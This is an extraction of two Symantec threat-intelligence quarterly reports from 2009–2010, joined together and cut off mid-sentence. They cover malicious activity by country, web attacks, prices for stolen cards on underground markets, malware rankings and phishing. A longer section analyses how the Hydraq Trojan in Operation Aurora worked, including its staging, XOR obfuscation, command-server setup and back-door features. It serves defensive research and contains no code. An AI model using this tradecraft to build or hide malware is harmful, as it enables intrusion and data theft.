are determined by calculating the average of the proportion of malicious activity that originated in each country.
The United States was the top ranked country for malicious activity this quarter, accounting for 30 percent of the total
(table 1). Within specific category measurements, the United States ranked first in all categories.
Table 1. Malicious activity by countryTable 1. Malicious activity by country
China had the second highest amount of overall worldwide malicious activity this quarter, accounting for 6 percent. Within
specific category measurements, China ranked high in malicious code, bots, and attack origin.
Top Web-based attacksTop Web-based attacks
This metric will assess the top distinct Web-based attacks that originate either from compromised legitimate sites or
malicious sites that have been created to intentionally target Web users.
In this quarter, the top Web-based attack was related to malicious PDF activity, which accounted for 57 percent of Web-
based attacks (table 2). Attempts to download suspicious PDF documents were specifically observed. This may indicate
attempts by attackers to distribute malicious PDF content to victims via the Web. The attack is not directly related to a
specific vulnerability, although the contents of the malicious file would be designed to exploit an arbitrary vulnerability in
an application that processes it. This attack may be popular due to the common use and distribution of PDF documents on
the Web, and to the practice of configuring browsers to automatically render PDF documents by default.Symantec Intelligence Quarterly
January - March 2010
2Table 2. Top Web-based attacksTable 2. Top Web-based attacks
The second most common Web-based attack this quarter was associated with the Microsoft Internet Explorer
ADODB.Stream Object File Installation Weakness, 1which accounted for 23 percent of the total globally. The weakness
allows attackers to install malicious files on vulnerable computers when users visit websites hosting an exploit. To carry
out this attack, an attacker must exploit another vulnerability that bypasses Internet Explorer security settings, allowing
the attacker to execute malicious files installed by the initial security weakness. This issue was published on August 23,
2003, and fixes have been available since July 2, 2004. The continued popularity of this Web-based attack may indicate
that many computers running Internet Explorer have not been patched or updated and are running with this exposed
weakness.
Underground economy servers—goods and services available for saleUnderground economy servers—goods and services available for sale
This section discusses on the most frequently advertised items for sale observed on underground economy servers, which
are online black market forums for the promotion and trade of stolen information and services.
In this quarter, the most frequently advertised item observed on underground economy servers was credit card
information, accounting for 17 percent of all goods (table 3). Prices for credit card information ranged from $0.33 to $100
depending on the type of card, the country of origin and the amount of bundled personal information used for card-holder
verification. 2Bulk purchases were advertised as being available, but Symantec did not observe any rate-to-volume prices
this quarter.
1-http://www.securityfocus.com/bid/10514
2-All currency in U.S. dollarsSymantec Intelligence Quarterly
January - March 2010
3Table 3. Goods and services available for sale on underground economy serversTable 3. Goods and services available for sale on underground economy servers
The second most commonly advertised good on underground economy servers during this quarter was attack toolkits,
accounting for 12 percent of all advertised goods. The advertised price for attack toolkits ranged from $5 to $13.
Top malicious code samplesTop malicious code samples
The most common malicious code sample by potential infections during this quarter was the Sality.AE virus (table 4). 3
This virus infects executable files on compromised computers and removes security applications and services. Once
thevirus is installed, it also attempts to download and install additional threats onto infected computers.
Table 4. Top malicious code samplesTable 4. Top malicious code samples
The second ranked malicious code sample causing potential infections during this quarter was Mabezat.B. 4This worm
propagates by copying itself to any mapped or remote drives. It also attempts to copy itself to network shares by
attempting to connect with weak passwords. The worm attempts to propagate through email, modifies the built-in
3-http://www.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99
4-http://www.symantec.com/security_response/writeup.jsp?docid=2007-120113-2635-99Symantec Intelligence Quarterly
January - March 2010
4Microsoft Windows® CD burning feature to include the worm in burned CDs, and also encrypts numerous different file
types.
Top phishing sectorsTop phishing sectors
The majority of brands used in phishing attacks this quarter were in the financial services sector (table 5). These attacks
accounted for 73 percent of the total reported phishing attacks. The financial sector is commonly the largest sector
targeted in phishing attacks, as the various associated services are the most likely to yield data that could be directly used
for financial gain. Many phishing attacks that spoof financial services brands will prompt users to enter credit card
information or banking credentials into fraudulent sites. If this succeeds, the phishers can then capture and sell such
information in the underground economy.
Table 5. Top phishing sectorsTable 5. Top phishing sectors
The second largest percentage of brands used in phishing attacks was in the ISP sector, accounting for 11 percent of the
total number of phishing attacks reported this quarter. ISP accounts can be valuable to phishers as they may contain
email accounts, Web-hosting space, and authentication credentials.Symantec Intelligence Quarterly
January - March 2010
5The Hydraq TrojanThe Hydraq Trojan
Targeted attacks using advanced persistent threats (APT) that occurred in 2009 made headlines in early 2010. 5Most
notable of these was the Hydraq Trojan, which was used in a series of attacks collectively known as Operation Aurora. 6In
January 2010, reports emerged that dozens of large companies had been compromised by attackers using this Trojan. 7
While these attacks were not novel in approach, they highlighted the methods by which large enterprises could be
compromised.
Large organizations are often the focus of targeted attacks because of the increased potential of reward for attackers due
to the greater number of potential victims if a network is breached. Motivations can include profit, revenge, or disruption. 8
One notable example occurred in 1998, when three teenagers breached the U.S. Department of Defense and stole a
number of passwords and other data. 9These attacks were called “Solar Sunrise” and were apparently carried out merely
for entertainment. In another example, known as “Titan Rain,” a number of U.S. governmental computer networks were
breached in a series of concentrated attacks. 10This type of attack has also been observed in other large-scale data
breaches that caused large numbers of identities to be exposed. 11(It should be noted that, because attacked organizations
do not typically disclose that they have been compromised unless required to by law, public awareness of such attack
activity is often limited.)
In the case of the Hydraq attacks, a previously unknown vulnerability in Microsoft Internet Explorer and a patched
vulnerability in Adobe Reader® and Adobe Flash® Player are exploited to install the Trojan. 12Once the Trojan is installed, it
lets attackers perform various actions on the compromised computer, including giving them full remote access. Typically,
once they have established access within the enterprise, attackers will use that foothold to attempt to connect to other
computers and servers and compromise them as well. They can do this by stealing credentials on the local computer or
capturing data by installing a keystroke logger. APT attacks are designed to remain undetected in order to gather
information over prolonged periods.
Typically, this type of attack begins with some reconnaissance on the part of attackers. This can include researching
publicly available information about the company and its employees, such as data available from social networking sites.
This information is then used to create specifically crafted phishing email messages, often referred to as spear phishing,
that target the company or even specific staff members. 13These email messages often contain attachments that exploit
vulnerabilities in client-side applications, or links to websites that exploit vulnerabilities in Web browsers or browser plug-
ins. A successful attack could give the attacker access to the enterprise’s network.
If the victim is lured to the maliciously coded website, a vulnerability in the way the browser handles the Web page is used
to execute shellcode buried in JavaScript™. 14The Web page will have been constructed to load the JavaScript first. After
the JavaScript loads, the malicoius code is executed and unpacks itself from obfuscation. It then populates the
compromised computer’s memory with specially placed shellcode. Meanwhile, the browser appears to be loading
normally. Once the browser reaches the malformed part of the Web page, a vulnerability in the Web page handling code
5-An advanced persistent threat (APT) is usually a sophisticated threat that hides its presence to remain installed and undetected on a computer.
6-http://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99
7-http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions
8-http://www.darkreading.com/insiderthreat/security/cybercrime/showArticle.jhtml?articleID=221900552
9-http://www.theregister.co.uk/2001/06/15/solar_sunrise_hacker_analyzer_escapes/
10-http://www.washingtonpost.com/wp-dyn/content/article/2005/08/24/AR2005082402318.html
11-http://news.bbc.co.uk/2/hi/americas/7970471.stm
12-http://www.securityfocus.com/bid/37815
13-Spear phishing is a targeted form of phishing where the apparent source of the email is likely to be an individual within the recipients’ company and generally someone in a position of authority.
14-http://www.securityfocus.com/bid/37815Symantec Intelligence Quarterly
January - March 2010
6causes an error that redirects the browser to the shellcode that was supplied in the JavaScript, granting the attacker the
ability to run whichever code specified by the shellcode. In the Aurora attacks, the browser is instructed to download the
Hydraq Trojan.
Analysis of the Hydraq Trojan shows it to be modular in nature. Initially, only one module is installed directly after
exploitation. Once installed, it connects to a server looking for updates and additional modules to load. This behavior can
also be considered a staged attack. In a staged attack, the attack happens over several environments where the malicious
code builds up its code base. Figure 1 illustrates three stages of the Aurora attack.
Figure 1. Diagram of the Aurora attack stagesFigure 1. Diagram of the Aurora attack stages
In the first stage of the Aurora attack, the shellcode is run in the exploit, deploying a payload that is responsible for
retrieving the next stage. In the case of the PDF vector, an executable is dropped from the PDF file and executed. In the
case of the IE vector, an executable is downloaded and executed. This second-stage executable is responsible for installing
Hydraq, which will reside on the system until it is removed. The remaining pieces of the attack are cleaned up for stealth
purposes. In the third stage, Hydraq connects out in order to update and install additional modules.
Several modules were identified in the attack. Together, all the modules make up the Hydraq Trojan. They are:
•Updater module (AppMgmt.dll)
•Back-door module (BBAS.dll/Rasmon.dll)
•Virtual network computing module (vediodriver.dll and acelpvc.dll)Symantec Intelligence Quarterly
January - March 2010
7Updater moduleUpdater module
In the Hydraq attack, the updater module is the first to be installed. It maintains the installed code and also downloads
and installs the other modules from an external server. This has several interesting advantages. The first is that modules
can be tailored individually for each target. This way, if the attack is captured, the victim only has a part of the malicious
code. Second, attackers can instruct the malicious code to remove components of itself, hampering forensic efforts. Third,
updates to a component means that only that component needs to reloaded, assisting in deployment.
In our analysis, only the updater module was packed. 15The algorithms used to obfuscate the executable were simple
compared to the malicious code usually encountered in such attacks. Two encoders were used: the first layer was a single-
byte XOR encoder, while the second layer was a relatively simple, custom encoder. 16
The module used the hypertext transfer protocol (HTTP) to update itself. 17It was likely the choice protocol because many
network firewalls allow outbound HTTP traffic throughput, it is an established high-volume protocol, and it can be used to
hide malicious traffic in other transmissions. The module also included HTTP-proxy capabilities to tunnel out of isolated
environments. Some networks make use of proxies to isolate users from the rest of the Internet. Proxies can be used to
add a layer of security that stops many simple threats. However, if Hydraq fails to connect directly to its update server, the
module has the capability to access a proxy, if present.
The core functionality of the module is quite simple: it sits and waits a set amount of time. After this time, it wakes up and
checks for updates, much as is now done by many legitimate software applications. The update server was hosted on IPs
in China using dynamic domain services in the United States. 18(It should be noted that the location of neither the DNS
service or the update server provides evidence of where the attacks are originating. There is little stopping an attacker
from registering an IP in one country and using services in a different country.)
Two versions of the updater module used the hardcoded server strings in the homelinux.com domain. 19Homelinux.com is
a U.S.-based dynamic domain name system (DNS) service company. Dynamic DNS is the term used for a DNS that allows
the owner of the domain to quickly change the IP address to which a DNS domain resolves. In the case of malicious code
attacks, this allows the attackers to quickly redirect the update requests to another server if their current server gets
shutdown. Blocking DNS resolution for all homelinux.com domains would present the attack with a single point of
failure—an interesting consequence for such a high-profile attack.
Back-door moduleBack-door module
As the name suggests, the back-door module provides back door functionality to the attack; furthermore, it provides a rich
set of features with which to collect data and manipulate the system. The module connects out to attacker-specified
systems. Commands are issued from the command system and carried out by the back-door module. In the case of
Hydraq, attackers used the same communication channel that is used for hypertext transfer protocol secure (HTTPS)
traffic, although a custom encrypted protocol was used instead of HTTPS. This custom channel was likely chosen because
encrypted traffic is easier to hide in other encrypted channels. If encrypted traffic were used over the HTTP channel, it
would be easily spotted. The HTTPS channel was also chosen because similar to HTTP, HTTPS is often allowed through
restricted networks.
15-Packing is used with malware to hide functionality, evade IDS, and to compress the program size.
16-This is a common encoder that applies a byte-by-byte exclusive-OR operation against a key of byte length.
17-The protocol used for much of the traffic on the Web.
18-http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit.
19-Hardcoding refers to the use of static data in a program that does not change until it is updated.Symantec Intelligence Quarterly
January - March 2010
8The custom protocol used by this module is straightforward and is encrypted to hide its intentions. The key is hardcoded
in the module and does not change until the module is updated. The cipher for the encryption is a static, single-byte XOR
cipher. While this simple cipher does not stop cryptanalysis, it can evade many intrusion detection systems (IDS).
Once connected, the back door will send out beacons. Beacons are signals sent out from the malicious code looking for its
C&C hosts. They are emitted to provide information about who is connected and when. These beacons are seen on the wire
and are the same in each transmission because of how the protocol is designed and the weakness in the encryption. This
makes developing a signature to detect the threat simple. Administrators can deploy this simple signature to detect any
infections on their network. Until the threat is identified and the signature is installed, the back-door module beacon will
continue to run undetected.
A brief summary of the capabilities found in the module are:
•Kill other running programs
•Download and execute files
•Manipulate system settings
•Enumerate and manipulate file systems
•Shutdown or reboot the system
•Uninstall itself
•Clean logs
One interesting observation about the back-door module is that it provides some redundancy for installing new modules.
Attackers can use the updater module or the back door to load or install additional modules.
Virtual network computing moduleVirtual network computing module
The last module analyzed provides virtual network computing (VNC) access to the system. VNC is typically used to control
a desktop remotely and is similar in nature to the Microsoft remote desktop protocol (RDP). The nature of VNC itself is
non-malicious and often used in a production environment. Many organizations use it as a solution to control assets
remotely. For example, a technical support agent could use VNC to take control of a customer’s desktop environment on
his or her behalf, allowing the agent to move the mouse and view the desktop. However, in the case of Hydraq, the module
gives the attacker the ability to manipulate and monitor the desktop environment of a compromised computer. This
viewing functionality allows the attacker to watch the victim’s screen, observing whatever the victim does. The attacker
can then decide what information of the victim's is worth stealing.
Symantec Security Response has created a tool to interface with the module as well as a demonstration video. 20A
screenshot from the demonstration video is shown in Figure 2. The screenshot shows a command window in the
background that is printing some debug information, while the active window on top displays the desktop of the remote
system.
20-http://www.youtube.com/watch?v=pKAIPUrFNgsSymantec Intelligence Quarterly
January - March 2010
9Figure 2. Screenshot from the demonstration of the VNC-interfacing toolFigure 2. Screenshot from the demonstration of the VNC-interfacing tool
The Hydraq Trojan used in the Aurora attacks was an example of malicious code used in targeted attacks used
forgathering intelligence on a target. This can be contrasted against a non-targeted threat such as Downadup (a.k.a.
Conficker). 21Table 6 shows some comparisons of the two types of threat.
Table 6. Downadup and Hydraq comparisonsTable 6. Downadup and Hydraq comparisons
Table 6 also provides arguments to support the suspected purpose of each threat. While it is difficult to determine the
precise purpose of the threats without talking to the attackers, predictions can be made based on observed design
decisions. These observations are used to conclude, with some degree of certainty, that the malicious code was designed
for targeted attacks.
The Aurora attacks and the Hydraq Trojan show us how APTs designed for a specific purpose can be difficult to contain.
Traditional security technologies focus on known attacks, which are easier to protect against. Typically, the first
21-http://www.symantec.com/security_response/writeup.jsp?docid=2008-112203-2408-99Symantec Intelligence Quarterly
January - March 2010
10compromise is used to capture the details of an attack. From that information, protection can be constructed and applied
to everyone else. While this works for non-targeted attacks, it does not protect against APTs. This is because these attacks
employ vulnerabilities that are not public and use techniques that evade generic detections, as well as custom code that is
often written specifically for the attack. The Aurora attacks are an example of this strategy. The IE vulnerability used was a
zero-day vulnerability at the time. Because a zero-day vulnerability is one not yet publicly known, there is no protection
from such an attack. The attackers used this to their advantage and deliberately chose this unknown vulnerability to
bypass (then) current protection technology.
Attackers employing APTs will likely profile intended victims and collect as much information as required to successfully
carry out the attacks. They will scan and record all the systems that may be vulnerable to zero-day vulnerabilities or that
are not yet patched against recently discovered zero-day vulnerabilities. New technologies are needed to stop these types
of attacks; however, while many new technologies look promising, they are still under development. In the meantime,
system administrators can use best practices such as decreasing the organization’s attack surface to help protect
themselves against targeted attacks. This can be accomplished by removing all unnecessary functionality in network
infrastructure and by granting employees only levels of access necessary. This may also require keeping company access
policies and procedures current with recent threats. Personnel should be kept informed about social engineering and
taught how to recognize an attacker attempting to collect information.
Given the recent spate of Aurora attacks, it appears that threats such as Hydraq continue to succeed even though
protection against such threats is readily available. That said, given the increased level of awareness born out of recent
coverage of the Hydraq attacks, additional resources may be allocated to combat these threats. Even some government
administrations are beginning to notice the need for initiatives to combat APTs. 22As usual, system administrators should
continue to be diligent and keep current on the risks from threats and attacks on the Internet.
22-http://www.nist.gov/public_affairs/factsheet/cyber2009.htmlSymantec Intelligence Quarterly
January - March 2010
11Marc FossiMarc Fossi
Executive Editor
Manager, Development
Security Technology and ResponseDean TurnerDean Turner
Director, Global Intelligence Network
Security Technology and Response
Amanda AndrewsAmanda Andrews
Editor
Security Technology and ResponseEric JohnsonEric Johnson
Editor
Security Technology and Response
Téo AdamsTéo Adams
Threat Analyst
Security Technology and ResponseRaymond BallRaymond Ball
Threat Analysis Engineer
Security Technology and Response
Joseph BlackbirdJoseph Blackbird
Threat Analyst
Security Technology and ResponseBrent GravelandBrent Graveland
Threat Analyst
Security Technology and ResponseCreditsCreditsSymantec Intelligence Quarterly
January - March 2010
12
|
Symantec Intelligence
Quarterly
July - September, 2009
Published October 2009
QUARTERLY REPORT: SYMANTEC ENTERPRISE SECURITYTechnical Brief: Symantec Enterprise Security
Symantec Intelligence Quarterly
July - September, 2009
Contents
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Highlights . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Meeting the Challenge of Sophisticated Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Timeline of a zero-day event . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
How secure are security protocols? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Why attackers use packers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Protection and Mitigation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Appendix A—Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Appendix B—Methodologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Credits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24Introduction
Symantec has established some of the most comprehensive sources of Internet threat data in the world through the
Symantec™ Global Intelligence Network. More than 240,000 sensors in over 200 countries monitor attack activity through
a combination of Symantec products and services such as Symantec DeepSight™ Threat Management System, Symantec™
Managed Security Services and Norton™ consumer products, as well as additional third-party data sources.
Symantec also gathers malicious code intelligence from more than 130 million client, server, and gateway systems that
have deployed its antivirus products. Additionally, the Symantec distributed honeypot network collects data from around
the globe, capturing previously unseen threats and attacks and providing valuable insight into attacker methods.
Spam data is captured through the Symantec probe network, a system of more than 2.5 million decoy email accounts,
Symantec MessageLabs™ Intelligence, and other Symantec technologies in more than 86 countries from around the globe.
Over 8 billion email messages, as well as over 1 billion Web requests, are scanned per day across 16 data centers.
Symantec also gathers phishing information through an extensive antifraud community of enterprises, security vendors,
and more than 50 million consumers. These resources give Symantec analysts unparalleled sources of data with which to
identify, analyze, and provide informed commentary on emerging trends in attacks, malicious code activity, phishing, and
spam.
An important note about these statistics
The statistics discussed in this document are based on attacks against an extensive sample of Symantec customers. The
attack activity was detected by the Symantec Global Intelligence Network, which includes Symantec Managed Security
Services and Symantec DeepSight Threat Management System, both of which use automated systems to map the IP
address of the attacking system to identify the country in which it is located. However, because attackers frequently use
compromised systems situated around the world to launch attacks remotely, the location of the attacking system may
differ from the location of the attacker.Symantec Intelligence Quarterly
July - September, 2009
1Highlights
•During this quarter, the United States was the top country for malicious activity, accounting for 17 percent of
the global total.
•Credit card information was the most commonly advertised item for sale on underground economy servers
known to Symantec, accounting for 22 percent of all goods and services advertised.
•The top Web-based attack observed during this quarter was related to malicious Adobe® Acrobat® PDF activity,
where attempts to download suspicious PDF documents were observed, which accounted for 47 percent of the
total.
•Symantec created 367,467 new malicious code signatures during this quarter.
•The most common malicious code sample measured by potential infections during this quarter was the Sality
worm.
•The majority of brands used in phishing attacks this quarter were in the financial services sector, accounting
for 72 percent.
•Symantec observed 9.9 trillion spam messages during this quarter, accounting for approximately 88 percent
of all email messages observed.
Metrics
Malicious activity by country
This metric will assess the countries in which the highest amount of malicious activity took place or originated. To
determine this, Symantec has compiled geographical data on a range of malicious activities, including bot-infected
computers, phishing website hosts, malicious code reports, spam zombies, and attack origins. The rankings are
determined by calculating the average of the proportion of these malicious activities that originated in each country.
Attacks are defined as any malicious activity carried out over a network that has been detected by an intrusion detection
system (IDS) or firewall.
Malicious activity usually affects computers that are connected to high-speed broadband Internet because these
connections are attractive targets for attackers. Broadband connections provide larger bandwidth capacities than other
connection types, faster speeds, the potential of constantly connected systems, and typically more stable connections.
Symantec has also noted in the past that malicious activity in a country tends to increase in relation to growth in
broadband infrastructure. One particular reason for this is because new users may be unaccustomed to, or unaware of,
the increased risk of exposure to malicious attacks from such robust connections.
The top three countries in this metric—the United States, Brazil, and China—all have extensively developed and growing
broadband infrastructures, and have the most broadband subscribers in their respective regions. China has the most
broadband subscribers, with 93.5 million subscribers, which is 21 percent of the global total. 1The United States is second
with 19 percent, while Brazil ranks ninth with two percent of the total. These three countries also added a total of almost
27 million broadband subscribers in the past year.
1-http://point-topic.com/content/operatorSource/dslreports/World%20Broadband%20Statistics%20Q2%202009.pdfSymantec Intelligence Quarterly
July - September, 2009
2The United States was the top ranked country for malicious activity this quarter, accounting for 17 percent of the total
(table 1). Within specific category measurements, the United States ranked first by a large margin in malicious code,
phishing website hosts, and attack origin.
Table 1. Malicious activity by country/region
Source: Symantec Corporation
Brazil had the second highest amount of overall malicious activity this quarter, accounting for seven percent of the total.
As noted in volume 14 of the Symantec Internet Security Threat Report ,2emerging countries such as Brazil, China, India,
and Russia have rapidly growing economies and growing broadband populations and will likely continue to increase their
share of malicious activity and rank highly in this measurement, as they do here. The report further notes that countries
with relatively nascent Internet infrastructures tend to experience increasing levels of malicious activity until security
mechanisms evolve to meet the rapid growth. 3
China ranked third for overall malicious activity this quarter, with seven percent of the total. This may be because China
ranked high in malicious code and attack origin. China ranked low in spam zombies, phishing website hosts, and bot-
infected computers. The drop in these three categories may be due the reduction in the number of bot-infected
computers, since botnets are often used to propagate spam and phishing scams.
Top Web-based attacks
Attackers wanting to take advantage of client-side vulnerabilities no longer need to actively compromise specific networks
to gain access to those computers. Instead, they are now focused on attacking and compromising websites in order to then
mount client-side attacks. Most attack types target specific vulnerabilities or weaknesses in Web browsers or other client-
side applications that process content originating from the Web. This metric will assess the top distinct Web-based attacks
originating from compromised legitimate sites as well as malicious sites that have been created to intentionally target
Web users.
During this quarter, the top Web-based attack was related to malicious Adobe Acrobat PDF activity, 4which accounted for
47 percent of Web-based attacks observed by Symantec (table 2). Specifically, this attack involved attempts to download
suspicious PDF documents. This may indicate that attackers are trying to distribute malicious PDF content to victims via
the Web. The attack is not directly related to any specific vulnerability, although the contents of the malicious file would
be designed to exploit an arbitrary vulnerability in an application that processes it, such as Adobe Reader®. A successful
attack could ultimately result in the compromise of the integrity and security of an affected computer. This attack may beSymantec Intelligence Quarterly
July - September, 2009
3popular to due the common use and distribution of PDF documents on the Web. Also, browsers can be set to automatically
render a PDF document by default.
Table 2. Top Web-based attacks
Source: Symantec
The second most common Web-based attack this quarter was associated with the Microsoft Internet Explorer
ADODB.Stream Object File Installation Weakness, 5which accounted for 26 percent of the total observed. This weakness
allows attackers to install malicious files on a vulnerable computer when a user visits a website hosting an exploit. To
carry out this attack, an attacker must exploit another vulnerability that bypasses Internet Explorer security settings to
allow the attacker to execute malicious files installed by the initial security weakness. This issue was published on August
23, 2003, and fixes have been available since July 2, 2004. The popularity of this Web-based attack may indicate that
many computers running Internet Explorer have not been patched or updated and continue to run with this exposed
vulnerability.
This quarter, the third most common Web-based attack exploited the Microsoft Internet Explorer DHTML
CreateControlRange Code Executable vulnerability, 6accounting for six percent of the Web-based attacks. This weakness
may allow attackers to leverage heap-based memory corruptions to overwrite sensitive variables in memory to influence
the execution flow of the program. If successfully exploited, an attacker could exploit this issue to execute arbitrary code
in the context of the currently logged-in user. As with the Microsoft Internet Explorer ADODB.Stream Object File
Installation Weakness, the prominence of this type of attack indicates that computers are likely not being sufficiently
patched and updated for these types of vulnerability.
Underground economy servers—goods and services available for sale
This section discusses on the most frequently advertised items for sale observed on underground economy servers.
Underground economy servers are black market forums for the promotion and trade of stolen information and services.
This information can include government-issued identification numbers, credit cards, personal identification numbers
(PINs), email address lists, and bank accounts. Services include cashiers and scam page hosting. Much of this commerce
occurs within channels on Internet Relay Chat (IRC) servers. For an in-depth analysis of how the underground Internet
economy functions, please see the Symantec Report on the Underground Economy , published November 2008. 7
2-http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf: p 19
3-Ibid.
4-http://www.symantec.com/business/security_response/attacksignatures/detail.jsp?asid=23153
5-See http://www.symantec.com/business/security_response/attacksignatures/detail.jsp?asid=50031 or http://www.securityfocus.com/bid/10514
6-See http://www.symantec.com/business/security_response/attacksignatures/detail.jsp?asid=50118 or http://www.securityfocus.com/bid/12475Symantec Intelligence Quarterly
July - September, 2009
4In this quarter, the most frequently advertised item observed on underground economy servers was credit card
information, accounting for 22 percent of all goods advertised (table 3). Credit card information advertised on the
underground economy consists of the credit card number and expiry date, and may also include the name on the card (or
business name for corporate cards), billing address, phone number, CVV2 number, and PIN. 8One reason for this ranking
may be because there are many ways credit card information can be obtained for fraud. This includes phishing schemes,
monitoring merchant card authorizations, the use of magnetic stripe skimmers, or breaking into databases and other data
breaches that expose sensitive information. 9
Table 3. Breakdown of goods and services available for sale on underground economy servers
Source: Symantec
The price range of credit cards this quarter ranged from $0.13 to $50 per card number. 10There were three main factors
that influenced the price of credit cards: the amount of information included with the card, rarity of the card type, and
bulk purchase sizes. Credit cards that bundled in personal information and cards that included security features such as
CVV2 numbers, PINs, and online verification service passwords were offered at higher prices. Also, the rarity of the credit
card appears to be associated with the location of the issuing bank. Credit cards from regions such as Europe, Asia, and
the Middle East are typically offered at higher prices than elsewhere because the credit card information that surfaces for
sale from these regions is rarer.
The lower price range for credit cards was due to bulk purchase discounts offered by sellers. Credit cards are typically sold
in lots, with lot sizes ranging from as few as 10 credit cards to as many as 800, and the higher the lot size, the cheaper the
per card price. Common bulk amounts and rates observed by Symantec during this quarter were 100 credit cards for $65
($0.65 each) and 800 credit cards for $100 ($0.13 each).
The second most commonly advertised good on underground economy servers during this quarter was bank account
credentials, accounting for 15 percent of all advertised goods. Bank account credentials may consist of account numbers,
bank transit numbers, account holder names and/or company names, and may include online banking passwords. Also,
some sellers advertised the type of account and the balances for the stolen bank accounts to help market them on the
underground economy.
The advertised price for bank account credentials ranged from $5 to $875, depending on the amount of funds available
and the type of account. Corporate and business accounts were advertised for considerably higher prices than those of
personal bank accounts as they purportedly contained higher balances. The average advertised bank account balance this
7-http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_underground_economy_report_11-2008-14525717.en-us.pdfSymantec Intelligence Quarterly
July - September, 2009
5quarter was $25,000. The highest advertised bank account that Symantec observed purportedly had a balance of $80,000
and was being sold for $400.
Cash-out services, where purchases are converted into true currency, were the third most common advertised item for
sale on underground economy servers this quarter, accounting for nine percent of advertised goods and services observed
by Symantec. Cash-out services launder money through online currency accounts or through money transfer systems. The
popularity of cash-out services indicates that criminals are unwilling to risk their own identities and are using services that
will minimize this exposure. Cashiers typically exact between 30 to 65 percent of the cash-out value for their services.
Also, most cashiers will set a minimum charge due to the high risk associated with this service.
Top malicious code samples
The most common malicious code sample by potential infections during this quarter was the Sality worm (table 4). 11This
worm infects executable files on compromised computers and removes or negates security applications and services. Once
the worm is installed, it also attempts to download and install additional threats onto infected computers.
Table 4. Top malicious code samples
Source: Symantec
The second ranked malicious code sample causing potential infections during this quarter was SillyFDC. 12This worm
propagates by copying itself to any removable media devices attached to the compromised computer. As with Sality, once
the worm is installed on a computer it also attempts to download and install additional threats onto the computer.
The third most reported malicious code sample causing potential infections during this quarter was the Brisv Trojan. Brisv
scans computers for multimedia files and then modifies a data marker in the files with a malicious URL. The marker is
associated with the Windows® Media® Audio (WMA) format. Although other applications appear to be unaffected, when
the files are opened using Windows Media Player, the marker is automatically processed, causing the application to open a
Web browser window and access the malicious URL. Accessing the malicious URL may expose the user to additional
threats.
8-Card Verification Value 2 (CVV2) is a three- or four-digit number on the credit card that is used for card-not-present transactions, such as purchases over the Internet or telephone. This is meant to improve security for
credit cards and to verify that the person completing the transaction is in fact, in possession of the card.
9-Magnetic stripe skimming devices are small machines designed to scan and retain data contained in the magnetic stripes on credit and debit cards.
10-All currency in USD. Descriptions and definitions for the goods and services discussed in this section can be found in Appendix B—Methodologies.
11-http://www.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99
12-http://www.symantec.com/security_response/writeup.jsp?docid=2006-071111-0646-99Symantec Intelligence Quarterly
July - September, 2009
6Top phishing sectors
Phishing is an attempt by a third party to solicit confidential information by mimicking (or spoofing) a specific brand,
usually one that is well known, often for financial gain. Phishers attempt to trick users into disclosing personal data, such
as credit card numbers, online banking credentials, and other sensitive information, which they may then use to commit
fraudulent acts.
The majority of brands used in phishing attacks this quarter were in the financial services sector (table 5). These attacks
accounted for 72 percent of the total reported phishing attacks. The financial sector tends to be the most targeted sector
for phishing attacks because brands and activities associated with this sector are most likely to yield data that could be
used in financially motivated attacks.
Table 5. Top phishing sectors
Source: Symantec
Many phishing attacks targeting financial services will attempt to lure users to false sites where they will be asked to input
their credit card information or banking credentials. If this occurs, the scam perpetrators can then capture that data and
sell it in the underground economy. The top two most frequently advertised items on underground economy servers during
this quarter were credit card information and bank account credentials, which together made up over 37 percent of all
goods and services advertised.
The second ranked sector used in phishing attacks this quarter was the ISP sector, accounting for 11 percent of the total.
ISP accounts are useful targets to phishers because they may contain email accounts, Web-hosting space, and
authentication credentials.
The third ranked sector in this measurement this quarter was the retail sector, with seven percent of the total reported
phishing attacks. Information used in retail transactions often includes credit card information, billing addresses,
authentication credentials and other data that is valuable to phishers.Symantec Intelligence Quarterly
July - September, 2009
7Meeting the Challenge of Sophisticated Attacks
This part of the Symantec Intelligence Quarterly Report contains three sections that examine some of the recent advances
in the tools and technologies that attackers are using to breach security. All three sections underscore the importance of
deploying a comprehensive security model that involves appropriate security controls, policies, and procedures. For
